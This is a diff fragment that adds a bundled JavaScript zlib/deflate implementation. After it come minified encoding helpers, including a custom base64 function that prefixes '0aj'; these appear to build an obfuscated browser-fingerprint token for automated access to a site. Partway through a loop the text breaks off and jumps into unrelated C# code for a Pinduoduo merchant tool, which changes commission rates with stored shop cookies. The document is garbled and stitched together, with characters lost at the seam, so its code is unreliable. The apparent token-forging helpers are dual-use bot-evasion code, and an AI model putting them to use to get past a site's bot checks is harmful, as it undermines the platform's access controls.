n < (1 << extra_lbits[code]); n++) { + _length_code[length++] = code; + } + } + //Assert (length == 256, ""tr_static_init: length != 256""); + /* Note that the length 255 (match length 258) can be represented + * in two different ways: code 284 + 5 bits or code 285, so we + * overwrite length_code[255] to use the best encoding: + */ + _length_code[length - 1] = code; + + /* Initialize the mapping dist (0..32K) -> dist code (0..29) */ + dist = 0; + for (code = 0; code < 16; code++) { + base_dist[code] = dist; + for (n = 0; n < (1 << extra_dbits[code]); n++) { + _dist_code[dist++] = code; + } + } + //Assert (dist == 256, ""tr_static_init: dist != 256""); + dist >>= 7; /* from now on, all distances are divided by 128 */ + for (; code < D_CODES; code++) { + base_dist[code] = dist << 7; + for (n = 0; n < (1 << (extra_dbits[code] - 7)); n++) { + _dist_code[256 + dist++] = code; + } + } + //Assert (dist == 256, ""tr_static_init: 256+dist != 512""); + + /* Construct the codes of the static literal tree */ + for (bits = 0; bits <= MAX_BITS; bits++) { + bl_count[bits] = 0; + } + + n = 0; + while (n <= 143) { + static_ltree[n * 2 + 1]/*.Len*/ = 8; + n++; + bl_count[8]++; + } + while (n <= 255) { + static_ltree[n * 2 + 1]/*.Len*/ = 9; + n++; + bl_count[9]++; + } + while (n <= 279) { + static_ltree[n * 2 + 1]/*.Len*/ = 7; + n++; + bl_count[7]++; + } + while (n <= 287) { + static_ltree[n * 2 + 1]/*.Len*/ = 8; + n++; + bl_count[8]++; + } + /* Codes 286 and 287 do not exist, but we must include them in the + * tree construction to get a canonical Huffman tree (longest code + * all ones) + */ + gen_codes(static_ltree, L_CODES + 1, bl_count); + + /* The static distance tree is trivial: */ + for (n = 0; n < D_CODES; n++) { + static_dtree[n * 2 + 1]/*.Len*/ = 5; + static_dtree[n * 2]/*.Code*/ = bi_reverse(n, 5); + } + + // Now data ready and we can init static trees + static_l_desc = new StaticTreeDesc(static_ltree, extra_lbits, LITERALS + 1, L_CODES, MAX_BITS); + static_d_desc = new StaticTreeDesc(static_dtree, extra_dbits, 0, D_CODES, MAX_BITS); + static_bl_desc = new StaticTreeDesc(new Array(0), extra_blbits, 0, BL_CODES, MAX_BL_BITS); + + //static_init_done = true; +} + + +/* =========================================================================== + * Initialize a new block. + */ +function init_block(s) { + var n; /* iterates over tree elements */ + + /* Initialize the trees. */ + for (n = 0; n < L_CODES; n++) { s.dyn_ltree[n * 2]/*.Freq*/ = 0; } + for (n = 0; n < D_CODES; n++) { s.dyn_dtree[n * 2]/*.Freq*/ = 0; } + for (n = 0; n < BL_CODES; n++) { s.bl_tree[n * 2]/*.Freq*/ = 0; } + + s.dyn_ltree[END_BLOCK * 2]/*.Freq*/ = 1; + s.opt_len = s.static_len = 0; + s.last_lit = s.matches = 0; +} + + +/* =========================================================================== + * Flush the bit buffer and align the output on a byte boundary + */ +function bi_windup(s) +{ + if (s.bi_valid > 8) { + put_short(s, s.bi_buf); + } else if (s.bi_valid > 0) { + //put_byte(s, (Byte)s->bi_buf); + s.pending_buf[s.pending++] = s.bi_buf; + } + s.bi_buf = 0; + s.bi_valid = 0; +} + +/* =========================================================================== + * Copy a stored block, storing first the length and its + * one's complement if requested. + */ +function copy_block(s, buf, len, header) +//DeflateState *s; +//charf *buf; /* the input data */ +//unsigned len; /* its length */ +//int header; /* true if block header must be written */ +{ + bi_windup(s); /* align on byte boundary */ + + if (header) { + put_short(s, len); + put_short(s, ~len); + } +// while (len--) { +// put_byte(s, *buf++); +// } + utils.arraySet(s.pending_buf, s.window, buf, len, s.pending); + s.pending += len; +} + +/* =========================================================================== + * Compares to subtrees, using the tree depth as tie breaker when + * the subtrees have equal frequency. This minimizes the worst case length. + */ +function smaller(tree, n, m, depth) { + var _n2 = n * 2; + var _m2 = m * 2; + return (tree[_n2]/*.Freq*/ < tree[_m2]/*.Freq*/ || + (tree[_n2]/*.Freq*/ === tree[_m2]/*.Freq*/ && depth[n] <= depth[m])); +} + +/* =========================================================================== + * Restore the heap property by moving down the tree starting at node k, + * exchanging a node with the smallest of its two sons if necessary, stopping + * when the heap property is re-established (each father smaller than its + * two sons). + */ +function pqdownheap(s, tree, k) +// deflate_state *s; +// ct_data *tree; /* the tree to restore */ +// int k; /* node to move down */ +{ + var v = s.heap[k]; + var j = k << 1; /* left son of k */ + while (j <= s.heap_len) { + /* Set j to the smallest of the two sons: */ + if (j < s.heap_len && + smaller(tree, s.heap[j + 1], s.heap[j], s.depth)) { + j++; + } + /* Exit if v is smaller than both sons */ + if (smaller(tree, v, s.heap[j], s.depth)) { break; } + + /* Exchange v with the smallest son */ + s.heap[k] = s.heap[j]; + k = j; + + /* And continue down the tree, setting j to the left son of k */ + j <<= 1; + } + s.heap[k] = v; +} + + +// inlined manually +// var SMALLEST = 1; + +/* =========================================================================== + * Send the block data compressed using the given Huffman trees + */ +function compress_block(s, ltree, dtree) +// deflate_state *s; +// const ct_data *ltree; /* literal tree */ +// const ct_data *dtree; /* distance tree */ +{ + var dist; /* distance of matched string */ + var lc; /* match length or unmatched char (if dist == 0) */ + var lx = 0; /* running index in l_buf */ + var code; /* the code to send */ + var extra; /* number of extra bits to send */ + + if (s.last_lit !== 0) { + do { + dist = (s.pending_buf[s.d_buf + lx * 2] << 8) | (s.pending_buf[s.d_buf + lx * 2 + 1]); + lc = s.pending_buf[s.l_buf + lx]; + lx++; + + if (dist === 0) { + send_code(s, lc, ltree); /* send a literal byte */ + //Tracecv(isgraph(lc), (stderr,"" '%c' "", lc)); + } else { + /* Here, lc is the match length - MIN_MATCH */ + code = _length_code[lc]; + send_code(s, code + LITERALS + 1, ltree); /* send the length code */ + extra = extra_lbits[code]; + if (extra !== 0) { + lc -= base_length[code]; + send_bits(s, lc, extra); /* send the extra length bits */ + } + dist--; /* dist is now the match distance - 1 */ + code = d_code(dist); + //Assert (code < D_CODES, ""bad d_code""); + + send_code(s, code, dtree); /* send the distance code */ + extra = extra_dbits[code]; + if (extra !== 0) { + dist -= base_dist[code]; + send_bits(s, dist, extra); /* send the extra distance bits */ + } + } /* literal or match pair ? */ + + /* Check that the overlay between pending_buf and d_buf+l_buf is ok: */ + //Assert((uInt)(s->pending) < s->lit_bufsize + 2*lx, + // ""pendingBuf overflow""); + + } while (lx < s.last_lit); + } + + send_code(s, END_BLOCK, ltree); +} + + +/* =========================================================================== + * Construct one Huffman tree and assigns the code bit strings and lengths. + * Update the total bit length for the current block. + * IN assertion: the field freq is set for all tree elements. + * OUT assertions: the fields len and code are set to the optimal bit length + * and corresponding code. The length opt_len is updated; static_len is + * also updated if stree is not null. The field max_code is set. + */ +function build_tree(s, desc) +// deflate_state *s; +// tree_desc *desc; /* the tree descriptor */ +{ + var tree = desc.dyn_tree; + var stree = desc.stat_desc.static_tree; + var has_stree = desc.stat_desc.has_stree; + var elems = desc.stat_desc.elems; + var n, m; /* iterate over heap elements */ + var max_code = -1; /* largest code with non zero frequency */ + var node; /* new node being created */ + + /* Construct the initial heap, with least frequent element in + * heap[SMALLEST]. The sons of heap[n] are heap[2*n] and heap[2*n+1]. + * heap[0] is not used. + */ + s.heap_len = 0; + s.heap_max = HEAP_SIZE; + + for (n = 0; n < elems; n++) { + if (tree[n * 2]/*.Freq*/ !== 0) { + s.heap[++s.heap_len] = max_code = n; + s.depth[n] = 0; + + } else { + tree[n * 2 + 1]/*.Len*/ = 0; + } + } + + /* The pkzip format requires that at least one distance code exists, + * and that at least one bit should be sent even if there is only one + * possible code. So to avoid special checks later on we force at least + * two codes of non zero frequency. + */ + while (s.heap_len < 2) { + node = s.heap[++s.heap_len] = (max_code < 2 ? ++max_code : 0); + tree[node * 2]/*.Freq*/ = 1; + s.depth[node] = 0; + s.opt_len--; + + if (has_stree) { + s.static_len -= stree[node * 2 + 1]/*.Len*/; + } + /* node is 0 or 1 so it does not have extra bits */ + } + desc.max_code = max_code; + + /* The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree, + * establish sub-heaps of increasing lengths: + */ + for (n = (s.heap_len >> 1/*int /2*/); n >= 1; n--) { pqdownheap(s, tree, n); } + + /* Construct the Huffman tree by repeatedly combining the least two + * frequent nodes. + */ + node = elems; /* next internal node of the tree */ + do { + //pqremove(s, tree, n); /* n = node of least frequency */ + /*** pqremove ***/ + n = s.heap[1/*SMALLEST*/]; + s.heap[1/*SMALLEST*/] = s.heap[s.heap_len--]; + pqdownheap(s, tree, 1/*SMALLEST*/); + /***/ + + m = s.heap[1/*SMALLEST*/]; /* m = node of next least frequency */ + + s.heap[--s.heap_max] = n; /* keep the nodes sorted by frequency */ + s.heap[--s.heap_max] = m; + + /* Create a new node father of n and m */ + tree[node * 2]/*.Freq*/ = tree[n * 2]/*.Freq*/ + tree[m * 2]/*.Freq*/; + s.depth[node] = (s.depth[n] >= s.depth[m] ? s.depth[n] : s.depth[m]) + 1; + tree[n * 2 + 1]/*.Dad*/ = tree[m * 2 + 1]/*.Dad*/ = node; + + /* and insert the new node in the heap */ + s.heap[1/*SMALLEST*/] = node++; + pqdownheap(s, tree, 1/*SMALLEST*/); + + } while (s.heap_len >= 2); + + s.heap[--s.heap_max] = s.heap[1/*SMALLEST*/]; + + /* At this point, the fields freq and dad are set. We can now + * generate the bit lengths. + */ + gen_bitlen(s, desc); + + /* The field len is now set, we can generate the bit codes */ + gen_codes(tree, max_code, s.bl_count); +} + + +/* =========================================================================== + * Scan a literal or distance tree to determine the frequencies of the codes + * in the bit length tree. + */ +function scan_tree(s, tree, max_code) +// deflate_state *s; +// ct_data *tree; /* the tree to be scanned */ +// int max_code; /* and its largest code of non zero frequency */ +{ + var n; /* iterates over all tree elements */ + var prevlen = -1; /* last emitted length */ + var curlen; /* length of current code */ + + var nextlen = tree[0 * 2 + 1]/*.Len*/; /* length of next code */ + + var count = 0; /* repeat count of the current code */ + var max_count = 7; /* max repeat count */ + var min_count = 4; /* min repeat count */ + + if (nextlen === 0) { + max_count = 138; + min_count = 3; + } + tree[(max_code + 1) * 2 + 1]/*.Len*/ = 0xffff; /* guard */ + + for (n = 0; n <= max_code; n++) { + curlen = nextlen; + nextlen = tree[(n + 1) * 2 + 1]/*.Len*/; + + if (++count < max_count && curlen === nextlen) { + continue; + + } else if (count < min_count) { + s.bl_tree[curlen * 2]/*.Freq*/ += count; + + } else if (curlen !== 0) { + + if (curlen !== prevlen) { s.bl_tree[curlen * 2]/*.Freq*/++; } + s.bl_tree[REP_3_6 * 2]/*.Freq*/++; + + } else if (count <= 10) { + s.bl_tree[REPZ_3_10 * 2]/*.Freq*/++; + + } else { + s.bl_tree[REPZ_11_138 * 2]/*.Freq*/++; + } + + count = 0; + prevlen = curlen; + + if (nextlen === 0) { + max_count = 138; + min_count = 3; + + } else if (curlen === nextlen) { + max_count = 6; + min_count = 3; + + } else { + max_count = 7; + min_count = 4; + } + } +} + + +/* =========================================================================== + * Send a literal or distance tree in compressed form, using the codes in + * bl_tree. + */ +function send_tree(s, tree, max_code) +// deflate_state *s; +// ct_data *tree; /* the tree to be scanned */ +// int max_code; /* and its largest code of non zero frequency */ +{ + var n; /* iterates over all tree elements */ + var prevlen = -1; /* last emitted length */ + var curlen; /* length of current code */ + + var nextlen = tree[0 * 2 + 1]/*.Len*/; /* length of next code */ + + var count = 0; /* repeat count of the current code */ + var max_count = 7; /* max repeat count */ + var min_count = 4; /* min repeat count */ + + /* tree[max_code+1].Len = -1; */ /* guard already set */ + if (nextlen === 0) { + max_count = 138; + min_count = 3; + } + + for (n = 0; n <= max_code; n++) { + curlen = nextlen; + nextlen = tree[(n + 1) * 2 + 1]/*.Len*/; + + if (++count < max_count && curlen === nextlen) { + continue; + + } else if (count < min_count) { + do { send_code(s, curlen, s.bl_tree); } while (--count !== 0); + + } else if (curlen !== 0) { + if (curlen !== prevlen) { + send_code(s, curlen, s.bl_tree); + count--; + } + //Assert(count >= 3 && count <= 6, "" 3_6?""); + send_code(s, REP_3_6, s.bl_tree); + send_bits(s, count - 3, 2); + + } else if (count <= 10) { + send_code(s, REPZ_3_10, s.bl_tree); + send_bits(s, count - 3, 3); + + } else { + send_code(s, REPZ_11_138, s.bl_tree); + send_bits(s, count - 11, 7); + } + + count = 0; + prevlen = curlen; + if (nextlen === 0) { + max_count = 138; + min_count = 3; + + } else if (curlen === nextlen) { + max_count = 6; + min_count = 3; + + } else { + max_count = 7; + min_count = 4; + } + } +} + + +/* =========================================================================== + * Construct the Huffman tree for the bit lengths and return the index in + * bl_order of the last bit length code to send. + */ +function build_bl_tree(s) { + var max_blindex; /* index of last bit length code of non zero freq */ + + /* Determine the bit length frequencies for literal and distance trees */ + scan_tree(s, s.dyn_ltree, s.l_desc.max_code); + scan_tree(s, s.dyn_dtree, s.d_desc.max_code); + + /* Build the bit length tree: */ + build_tree(s, s.bl_desc); + /* opt_len now includes the length of the tree representations, except + * the lengths of the bit lengths codes and the 5+5+4 bits for the counts. + */ + + /* Determine the number of bit length codes to send. The pkzip format + * requires that at least 4 bit length codes be sent. (appnote.txt says + * 3 but the actual value used is 4.) + */ + for (max_blindex = BL_CODES - 1; max_blindex >= 3; max_blindex--) { + if (s.bl_tree[bl_order[max_blindex] * 2 + 1]/*.Len*/ !== 0) { + break; + } + } + /* Update opt_len to include the bit length tree and counts */ + s.opt_len += 3 * (max_blindex + 1) + 5 + 5 + 4; + //Tracev((stderr, ""\ndyn trees: dyn %ld, stat %ld"", + // s->opt_len, s->static_len)); + + return max_blindex; +} + + +/* =========================================================================== + * Send the header for a block using dynamic Huffman trees: the counts, the + * lengths of the bit length codes, the literal tree and the distance tree. + * IN assertion: lcodes >= 257, dcodes >= 1, blcodes >= 4. + */ +function send_all_trees(s, lcodes, dcodes, blcodes) +// deflate_state *s; +// int lcodes, dcodes, blcodes; /* number of codes for each tree */ +{ + var rank; /* index in bl_order */ + + //Assert (lcodes >= 257 && dcodes >= 1 && blcodes >= 4, ""not enough codes""); + //Assert (lcodes <= L_CODES && dcodes <= D_CODES && blcodes <= BL_CODES, + // ""too many codes""); + //Tracev((stderr, ""\nbl counts: "")); + send_bits(s, lcodes - 257, 5); /* not +255 as stated in appnote.txt */ + send_bits(s, dcodes - 1, 5); + send_bits(s, blcodes - 4, 4); /* not -3 as stated in appnote.txt */ + for (rank = 0; rank < blcodes; rank++) { + //Tracev((stderr, ""\nbl code %2d "", bl_order[rank])); + send_bits(s, s.bl_tree[bl_order[rank] * 2 + 1]/*.Len*/, 3); + } + //Tracev((stderr, ""\nbl tree: sent %ld"", s->bits_sent)); + + send_tree(s, s.dyn_ltree, lcodes - 1); /* literal tree */ + //Tracev((stderr, ""\nlit tree: sent %ld"", s->bits_sent)); + + send_tree(s, s.dyn_dtree, dcodes - 1); /* distance tree */ + //Tracev((stderr, ""\ndist tree: sent %ld"", s->bits_sent)); +} + + +/* =========================================================================== + * Check if the data type is TEXT or BINARY, using the following algorithm: + * - TEXT if the two conditions below are satisfied: + * a) There are no non-portable control characters belonging to the + * ""black list"" (0..6, 14..25, 28..31). + * b) There is at least one printable character belonging to the + * ""white list"" (9 {TAB}, 10 {LF}, 13 {CR}, 32..255). + * - BINARY otherwise. + * - The following partially-portable control characters form a + * ""gray list"" that is ignored in this detection algorithm: + * (7 {BEL}, 8 {BS}, 11 {VT}, 12 {FF}, 26 {SUB}, 27 {ESC}). + * IN assertion: the fields Freq of dyn_ltree are set. + */ +function detect_data_type(s) { + /* black_mask is the bit mask of black-listed bytes + * set bits 0..6, 14..25, and 28..31 + * 0xf3ffc07f = binary 11110011111111111100000001111111 + */ + var black_mask = 0xf3ffc07f; + var n; + + /* Check for non-textual (""black-listed"") bytes. */ + for (n = 0; n <= 31; n++, black_mask >>>= 1) { + if ((black_mask & 1) && (s.dyn_ltree[n * 2]/*.Freq*/ !== 0)) { + return Z_BINARY; + } + } + + /* Check for textual (""white-listed"") bytes. */ + if (s.dyn_ltree[9 * 2]/*.Freq*/ !== 0 || s.dyn_ltree[10 * 2]/*.Freq*/ !== 0 || + s.dyn_ltree[13 * 2]/*.Freq*/ !== 0) { + return Z_TEXT; + } + for (n = 32; n < LITERALS; n++) { + if (s.dyn_ltree[n * 2]/*.Freq*/ !== 0) { + return Z_TEXT; + } + } + + /* There are no ""black-listed"" or ""white-listed"" bytes: + * this stream either is empty or has tolerated (""gray-listed"") bytes only. + */ + return Z_BINARY; +} + + +var static_init_done = false; + +/* =========================================================================== + * Initialize the tree data structures for a new zlib stream. + */ +function _tr_init(s) +{ + + if (!static_init_done) { + tr_static_init(); + static_init_done = true; + } + + s.l_desc = new TreeDesc(s.dyn_ltree, static_l_desc); + s.d_desc = new TreeDesc(s.dyn_dtree, static_d_desc); + s.bl_desc = new TreeDesc(s.bl_tree, static_bl_desc); + + s.bi_buf = 0; + s.bi_valid = 0; + + /* Initialize the first block of the first file: */ + init_block(s); +} + + +/* =========================================================================== + * Send a stored block + */ +function _tr_stored_block(s, buf, stored_len, last) +//DeflateState *s; +//charf *buf; /* input block */ +//ulg stored_len; /* length of input block */ +//int last; /* one if this is the last block for a file */ +{ + send_bits(s, (STORED_BLOCK << 1) + (last ? 1 : 0), 3); /* send block type */ + copy_block(s, buf, stored_len, true); /* with header */ +} + + +/* =========================================================================== + * Send one empty static block to give enough lookahead for inflate. + * This takes 10 bits, of which 7 may remain in the bit buffer. + */ +function _tr_align(s) { + send_bits(s, STATIC_TREES << 1, 3); + send_code(s, END_BLOCK, static_ltree); + bi_flush(s); +} + + +/* =========================================================================== + * Determine the best encoding for the current block: dynamic trees, static + * trees or store, and output the encoded block to the zip file. + */ +function _tr_flush_block(s, buf, stored_len, last) +//DeflateState *s; +//charf *buf; /* input block, or NULL if too old */ +//ulg stored_len; /* length of input block */ +//int last; /* one if this is the last block for a file */ +{ + var opt_lenb, static_lenb; /* opt_len and static_len in bytes */ + var max_blindex = 0; /* index of last bit length code of non zero freq */ + + /* Build the Huffman trees unless a stored block is forced */ + if (s.level > 0) { + + /* Check if the file is binary or text */ + if (s.strm.data_type === Z_UNKNOWN) { + s.strm.data_type = detect_data_type(s); + } + + /* Construct the literal and distance trees */ + build_tree(s, s.l_desc); + // Tracev((stderr, ""\nlit data: dyn %ld, stat %ld"", s->opt_len, + // s->static_len)); + + build_tree(s, s.d_desc); + // Tracev((stderr, ""\ndist data: dyn %ld, stat %ld"", s->opt_len, + // s->static_len)); + /* At this point, opt_len and static_len are the total bit lengths of + * the compressed block data, excluding the tree representations. + */ + + /* Build the bit length tree for the above two trees, and get the index + * in bl_order of the last bit length code to send. + */ + max_blindex = build_bl_tree(s); + + /* Determine the best encoding. Compute the block lengths in bytes. */ + opt_lenb = (s.opt_len + 3 + 7) >>> 3; + static_lenb = (s.static_len + 3 + 7) >>> 3; + + // Tracev((stderr, ""\nopt %lu(%lu) stat %lu(%lu) stored %lu lit %u "", + // opt_lenb, s->opt_len, static_lenb, s->static_len, stored_len, + // s->last_lit)); + + if (static_lenb <= opt_lenb) { opt_lenb = static_lenb; } + + } else { + // Assert(buf != (char*)0, ""lost buf""); + opt_lenb = static_lenb = stored_len + 5; /* force a stored block */ + } + + if ((stored_len + 4 <= opt_lenb) && (buf !== -1)) { + /* 4: two words for the lengths */ + + /* The test buf != NULL is only necessary if LIT_BUFSIZE > WSIZE. + * Otherwise we can't have processed more than WSIZE input bytes since + * the last block flush, because compression would have been + * successful. If LIT_BUFSIZE <= WSIZE, it is never too late to + * transform a block into a stored block. + */ + _tr_stored_block(s, buf, stored_len, last); + + } else if (s.strategy === Z_FIXED || static_lenb === opt_lenb) { + + send_bits(s, (STATIC_TREES << 1) + (last ? 1 : 0), 3); + compress_block(s, static_ltree, static_dtree); + + } else { + send_bits(s, (DYN_TREES << 1) + (last ? 1 : 0), 3); + send_all_trees(s, s.l_desc.max_code + 1, s.d_desc.max_code + 1, max_blindex + 1); + compress_block(s, s.dyn_ltree, s.dyn_dtree); + } + // Assert (s->compressed_len == s->bits_sent, ""bad compressed size""); + /* The above check is made mod 2^32, for files larger than 512 MB + * and uLong implemented on 32 bits. + */ + init_block(s); + + if (last) { + bi_windup(s); + } + // Tracev((stderr,""\ncomprlen %lu(%lu) "", s->compressed_len>>3, + // s->compressed_len-7*last)); +} + +/* =========================================================================== + * Save the match info and tally the frequency counts. Return true if + * the current block must be flushed. + */ +function _tr_tally(s, dist, lc) +// deflate_state *s; +// unsigned dist; /* distance of matched string */ +// unsigned lc; /* match length-MIN_MATCH or unmatched char (if dist==0) */ +{ + //var out_length, in_length, dcode; + + s.pending_buf[s.d_buf + s.last_lit * 2] = (dist >>> 8) & 0xff; + s.pending_buf[s.d_buf + s.last_lit * 2 + 1] = dist & 0xff; + + s.pending_buf[s.l_buf + s.last_lit] = lc & 0xff; + s.last_lit++; + + if (dist === 0) { + s.dyn_ltree[lc * 2]/*.Freq*/++; + } else { + s.matches++; + dist--; + s.dyn_ltree[(_length_code[lc] + LITERALS + 1) * 2]/*.Freq*/++; + s.dyn_dtree[d_code(dist) * 2]/*.Freq*/++; + } + return (s.last_lit === s.lit_bufsize - 1); +} + +exports._tr_init = _tr_init; +exports._tr_stored_block = _tr_stored_block; +exports._tr_flush_block = _tr_flush_block; +exports._tr_tally = _tr_tally; +exports._tr_align = _tr_align; + +},{""../utils/common"":1}],8:[function(require,module,exports){ +'use strict'; +function ZStream() { + this.input = null; + this.next_in = 0; + this.avail_in = 0; + this.total_in = 0; + this.output = null; + this.next_out = 0; + this.avail_out = 0; + this.total_out = 0; + this.msg = ''; + this.state = null; + this.data_type = 2; + this.adler = 0; +} +module.exports = ZStream; + +},{}],""/lib/deflate.js"":[function(require,module,exports){ +'use strict'; +var zlib_deflate = require('./zlib/deflate'); +var utils = require('./utils/common'); +var strings = require('./utils/strings'); +var msg = require('./zlib/messages'); +var ZStream = require('./zlib/zstream'); + +var toString = Object.prototype.toString; +var Z_NO_FLUSH = 0; +var Z_FINISH = 4; +var Z_OK = 0; +var Z_STREAM_END = 1; +var Z_SYNC_FLUSH = 2; +var Z_DEFAULT_COMPRESSION = -1; +var Z_DEFAULT_STRATEGY = 0; +var Z_DEFLATED = 8; +function Deflate(options) { + if (!(this instanceof Deflate)) return new Deflate(options); + + this.options = utils.assign({ + level: Z_DEFAULT_COMPRESSION, + method: Z_DEFLATED, + chunkSize: 16384, + windowBits: 15, + memLevel: 8, + strategy: Z_DEFAULT_STRATEGY, + to: '' + }, options || {}); + + var opt = this.options; + + if (opt.raw && (opt.windowBits > 0)) { + opt.windowBits = -opt.windowBits; + } + + else if (opt.gzip && (opt.windowBits > 0) && (opt.windowBits < 16)) { + opt.windowBits += 16; + } + + this.err = 0; // error code, if happens (0 = Z_OK) + this.msg = ''; // error message + this.ended = false; // used to avoid multiple onEnd() calls + this.chunks = []; // chunks of compressed data + + this.strm = new ZStream(); + this.strm.avail_out = 0; + + var status = zlib_deflate.deflateInit2( + this.strm, + opt.level, + opt.method, + opt.windowBits, + opt.memLevel, + opt.strategy + ); + + if (status !== Z_OK) { + throw new Error(msg[status]); + } + + if (opt.header) { + zlib_deflate.deflateSetHeader(this.strm, opt.header); + } + if (opt.dictionary) { + var dict; + if (typeof opt.dictionary === 'string') { + dict = strings.string2buf(opt.dictionary); + } else if (toString.call(opt.dictionary) === '[object ArrayBuffer]') { + dict = new Uint8Array(opt.dictionary); + } else { + dict = opt.dictionary; + } + + status = zlib_deflate.deflateSetDictionary(this.strm, dict); + + if (status !== Z_OK) { + throw new Error(msg[status]); + } + + this._dict_set = true; + } +} +Deflate.prototype.push = function (data, mode) { + var strm = this.strm; + var chunkSize = this.options.chunkSize; + var status, _mode; + if (this.ended) { return false; } + _mode = (mode === ~~mode) ? mode : ((mode === true) ? Z_FINISH : Z_NO_FLUSH); + if (typeof data === 'string') { + strm.input = strings.string2buf(data); + } else if (toString.call(data) === '[object ArrayBuffer]') { + strm.input = new Uint8Array(data); + } else { + strm.input = data; + } + + strm.next_in = 0; + strm.avail_in = strm.input.length; + + do { + if (strm.avail_out === 0) { + strm.output = new utils.Buf8(chunkSize); + strm.next_out = 0; + strm.avail_out = chunkSize; + } + status = zlib_deflate.deflate(strm, _mode); /* no bad return value */ + + if (status !== Z_STREAM_END && status !== Z_OK) { + this.onEnd(status); + this.ended = true; + return false; + } + if (strm.avail_out === 0 || (strm.avail_in === 0 && (_mode === Z_FINISH || _mode === Z_SYNC_FLUSH))) { + if (this.options.to === 'string') { + this.onData(strings.buf2binstring(utils.shrinkBuf(strm.output, strm.next_out))); + } else { + this.onData(utils.shrinkBuf(strm.output, strm.next_out)); + } + } + } while ((strm.avail_in > 0 || strm.avail_out === 0) && status !== Z_STREAM_END); + if (_mode === Z_FINISH) { + status = zlib_deflate.deflateEnd(this.strm); + this.onEnd(status); + this.ended = true; + return status === Z_OK; + } + if (_mode === Z_SYNC_FLUSH) { + this.onEnd(Z_OK); + strm.avail_out = 0; + return true; + } + + return true; +}; + +Deflate.prototype.onData = function (chunk) { + this.chunks.push(chunk); +}; + +Deflate.prototype.onEnd = function (status) { + // On success - join + if (status === Z_OK) { + if (this.options.to === 'string') { + this.result = this.chunks.join(''); + } else { + this.result = utils.flattenChunks(this.chunks); + } + } + this.chunks = []; + this.err = status; + this.msg = this.strm.msg; +}; + +function deflate(input, options) { + var input = input; + var deflator = new Deflate(options); + + deflator.push(input, true); + if (deflator.err) { throw deflator.msg || msg[deflator.err]; } + return deflator.result; +} + + +function deflateRaw(input, options) { + options = options || {}; + options.raw = true; + return deflate(input, options); +} + +function gzip(input, options) { + options = options || {}; + options.gzip = true; +var result = deflate(input, options); + return result ; +} +exports.Deflate = Deflate; +exports.deflate = deflate; +exports.deflateRaw = deflateRaw; +exports.gzip = gzip; + +},{""./utils/common"":1,""./utils/strings"":2,""./zlib/deflate"":5,""./zlib/messages"":6,""./zlib/zstream"":8}]},{},[])(""/lib/deflate.js"") +}); + +charCode = function (e) { + for (var t = [], n = 0, i = 0; i < e.length; i += 1) { + var r = e.charCodeAt(i); + 0 <= r && r <= 127 ? (t.push(r), n += 1) : (2048 <= r && r <= 55295 || 57344 <= r && r <= 65535) && (n += 3, t.push(224 | 15 & r >> 12), t.push(128 | 63 & r >> 6), t.push(128 | 63 & r)); + } + for (var o = 0; o < t.length; o += 1) + t[o] &= 255; + return n <= 255 ? [0, n].concat(t) : [n >> 8, 255 & n].concat(t); + } +encodeStr = function (e){ +e || (e = """"); +var t = e.substring(0, 255), n = [], i = charCode(t).slice(2); + return n.push(i.length), n = n.concat(i); +} +encodeNum = function (e){ + var t = parseInt(e), n = []; + t > 0 ? n.push(0) : n.push(1); + for (var i = Math.abs(t).toString(2).split(""""), r = 0; i.length % 8 != 0; r += 1) + i.unshift(0); + i = i.join(""""); + for (var o = Math.ceil(i.length / 8), a = 0; a < o; a += 1) { + var s = i.substring(8 * a, 8 * (a + 1)); + n.push(parseInt(s, 2)); + } + var u = n.length; + return n.unshift(u), n; +} +encodeContentLength = function (e){ + for (var t = [], n = e.toString(2).split(""""), i = 0; n.length < 16; i += 1) + n.unshift(0); + return n = n.join(""""), t.push(parseInt(n.substring(0, 8), 2), parseInt(n.substring(8, 16), 2)), t; + } +getBaes64 = function (e) { +var p = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"".split(""""); +var iia = ""0aj""; + for (var t, n, i, r = """", o = e.length, a = 0, s = 3 * parseInt(o / 3); a < s;) + t = e[a++], n = e[a++], i = e[a++], r += p[t >>> 2] + p[63 & (t << 4 | n >>> 4)] + p[63 & (n << 2 | i >>> 6)] + p[63 & i]; + var u = o - s; + return 1 === u ? (t = e[a], r += p[t >>> 2] + p[t << 4 & 63] + ""=="") : 2 === u && (t = e[a++], n = e[a], r += p[t >>> 2] + p[63 & (t << 4 | n >>> 4)] + p[n << 2 & 63] + ""=""), iia+r; +} +getBrowserInfo = function (n, a) { +} +function MathRand(n) { + var Num=""""; + for(var i=0;i tempShops = new List(); + public static List tempGoodRate = new List(); + public static string couponStartTime = ""; + public static string couponEndTime = ""; + public static long discount = 0; + //public static long commissionRate = 0; + public static int couCount = 1; + public static int goodCount = 500; + public static bool stopping = false; + + + public static int couCountx = 1; + public static long discountx = 0; + + public static string couponStartTimex = ""; + public static string couponEndTimex = ""; + public static void WriteSpread() + { + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectPayOrder || !shop.Showed) + continue; + + string url = "https://mms.pinduoduo.com/cps/api/edit/editMallUnit"; + string refere = "https://mms.pinduoduo.com/exp/mallPromotion"; + string data = "{\"rate\":\"" + ShopRate * 10 + "\" }"; + //第一页匹配结果 + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies); + if (html.Contains("\"success\":true")) + { + LogSave.Add(Name, "店铺" + shop.ShopName + ",修改后的佣金比率将在第二天0点生效"); + + } + else + { + string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg"); + LogSave.Add(Name, "店铺" + shop.ShopName+","+ errorMsg + ",修改佣金比率失败"); + } + } + } + + public static void GoodWriteSpread() + { + PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop); + string html = api.UpdateExtension(goodId,Rate * 10); + + if (html.Contains("{\"is_change_success\":true}")) + { + LogSave.Add(Name, "商品" + goodId + ",修改后的佣金比率将在第二天0点生效"); + } + else + { + string errorMsg = BaseRegex.GetStringJson(ref html, "error_msg"); + LogSave.Add(Name, "商品" + goodId + "," + errorMsg + ",修改佣金比率失败"); + } + } + public static void CreateWriteSpread() + { + string[] goodsId = goodId.Trim().Replace("\r", "").Split('\n'); + string units = "["; + for (int j = 0; j < goodsId.Length; j++) + { + units += "{\"goods_id\":\"" + goodsId[j] + "\",\"rate\":" + Rate * 10 + "},"; + } + units = units.Substring(0, units.Length - 1); + units +="]"; + PinduoduoApiGetProduct api = new 